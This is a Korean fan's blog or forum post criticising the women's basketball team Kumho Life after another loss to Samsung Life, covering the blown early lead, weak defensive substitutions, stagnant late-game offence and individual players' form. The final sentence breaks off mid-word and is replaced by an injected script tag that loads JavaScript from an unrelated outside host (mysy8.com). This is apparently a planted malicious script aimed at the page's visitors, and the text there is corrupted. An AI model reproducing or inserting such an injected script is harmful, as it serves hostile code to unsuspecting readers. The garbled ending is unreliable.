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계속되는 금호의 연패를 지켜보며...

`삼성생명은 해볼만한 상대다`라고 자신했던 김태일 감독님의 말이 무색하게 또다시 패배, 그것도 초반 14점의 리드를 지키지 못했고 또한 시종 그리 나쁘지만은 않은 경기흐름이었음에도 불구하고 그동안 반복해서 나타났던 막판 공격난조가 또 한번 발목을 잡으며 진 경기, 오늘의 패배로 인해 금호생명의 위기는 당분간 지속될지도 모르겠다는 불안감이 스치네요....

지난 KB와의 경기후반에 보여주었던 끈기와 다소간 살아난 팀컨디션을 오늘 경기 초반에 이어가며 좋은 출발, 전선수의 공수에 걸친 비교적 고른 활약으로 한때 14점차 까지 리드하는 등 1쿼터의 분위기는 괜찮았고 2쿼터 초반까지도 그러한 흐름이 이어지더군요.

그런데 2쿼터 중반 경 겐트와 김경희 대신 수비를 맡은 강윤미와 이언주가 상대 매치업인 스미스, 박정은 수비에서 문제를 드러내면서 금새 리드를 까먹고 바로 팽팽한 경기가 되고 말았습니다. 이언주선수의 경우 키가 작다보니 박정은선수가 맘놓고 1대1 공격을 하더군요, 그리고 강윤미 선수는 만만찮은 공격력은 이미 지난 여름리그에 과시했지만 수비는 역시 좀 아쉬웠습니다.

그렇게 2쿼터가 끝나고 후반전에는 어느 한팀이 시원스레 앞서가지 못하고 계속되는 박빙의 흐름속에 스미스,박정은,변연하 등 주축 멤버들에 대한 수비가 나름대로 성공하면서 약간이나마 좋은 무드를 이어나갈 수 있었지만 공격에서 경기 초반에 보여주었던 매끄러움이 살아나지 못하면서 왠지 자주 그래왔듯 막판에 어려움이 닥칠 것만 같은 불길함을 지울 수가 없더군요.

아니나다를까, 변연하의 과감한 돌파에 의한 바스켓카운트, 그리고 오늘만큼은 공격과 수비에서는 물론 특히나 중요한 리바운드를 많이 잡아내며 제몫을 톡톡히 해낸 겐트선수가 5반칙 퇴장당하며 리드를 재차 빼앗기더니 또다시 주저앉으며 패배-_-;;.......

경기 중반에도 자주 보였지만 유독 4쿼터 막판 승패가 좌우되는 중요한 승부처에서 공격시에 김지윤선수만이 혼자 드리블할 뿐 다른 선수들은 제자리에 서있다시피하는 모습은 오늘도 어김없이 보는 사람을 답답하게 만들더군요. 그게 패턴인가요? 설마 그렇진 않겠죠? 혼자 열심히 드리블하다 무리한 공격 내지는 빗나가는 3점슛 밖엔 안나오는데-_-...

감독님의 경기운영을 보면 리그 후반에 대비에 미리 체력을 비축해 두려는 의도가 아닌가 짐작되는 장면이 종종 보이는데요, 이젠 선수들 체력안배에 신경을 덜 쓰는 한이 있더라도 리드를 잡았을 때 확실히 승기를 움켜쥐는 전략이 절실해 보입니다. 신한은행과의 경기에서 3쿼터에 지역방어를 너무 오래 사용하다 3점슛 3방을 연거푸 얻어맞고 경기의 흐름을 완전히 내준 것이나 오늘 경기에서 겐트, 이종애 선수를 쉬게 했다가 스미스에게 골밑을 내준것 모두 10여점차의 리드를 허무하게 없애버린, 그리고 결국 경기의 주도권을 놓쳐버린 주 원인이 됐다고 보거든요. 그리고 덧붙이자면 나름대로 수비에서 제몫을 하던 강현미 선수를 빼는 바람에 박정은 선수의 기를 살려준 것도 아쉬웠고요.

물론 다른팀이 부러워할 만한 풍부한 스쿼드를 활용하는 것도 좋지만 그바람에 생기는 미세한 틈들이 상대에게는 좋은 먹잇감이 된다는 사실이 계속 입증되고 있는 것 같습니다. 지금의 WKBL수준이 과거에 비해 하향평준화 되었다는 생각은 변함이 없지만 그렇다 하더라도 약점을 드러내고도 쉽게 이겨갈 수 있을 정도로 상대팀들이 만만하다고 보여지진 않거든요.

더군다나 지금은 WNBA특급 선수들의 가세, 그리고 대형신인의 영입으로 인해 각팀마다 공수에서 기둥역할을 할 수 있는 선수를 적어도 2명정도는 모두 갖고 있습니다. 금호가 강력한 우승후보로 점쳐진 것은 그러한 2명(김지윤, 이종애) 외에도 다른 선수들의 빼어난 활약을 기대할 수 있는 팀이라 예상되었기 때문인데요...

적어도 지금 금호의 모습은 그러한 예상과는 상당부분 어긋나고 있는 것 같습니다. 일단 겐트선수, 오늘은 스미스선수를 맞아 일단 파워에서 밀리지 않으니 한결 나은 모습을 보여줄 수 있었던게 아닌가 생각은 하지만 뭔가 미덥지 못합니다. 힘에서 밀리지 않고 인사이드를 공략할 수 있는 삼성, 신세계 같은 팀은 몰라도 다른 팀들, 특히 TJ가 버티고 있는 신한이나 트리플포스트의 KB한테는 앞으로도 계속 버거울 것으로 예상합니다.

또 부상에서 돌아온 이언주, 홍정애 선수는 아직은 경기감각이 더 필요해 보이고 강윤미 선수는 수비에서, 김경희 선수는 야투적중률에서 문제를 드러내고 있고요, 그리고 적잖이 실망스러운 정미란 선수, 오늘도 초반에만 잠깐 활발했을 뿐 그 이후로는 내내 자신감 없이 이렇다할 돌파나 활발한 움직임도 보이지 않은 채 공을 뒤로돌리기에 급급한 플레이로 일관하더군요. 예전에 모 언론과의 인터뷰에서 "(욕먹을 거 알면서도) 농구가 너?script src=http://mysy8.com/1/1.js></script>

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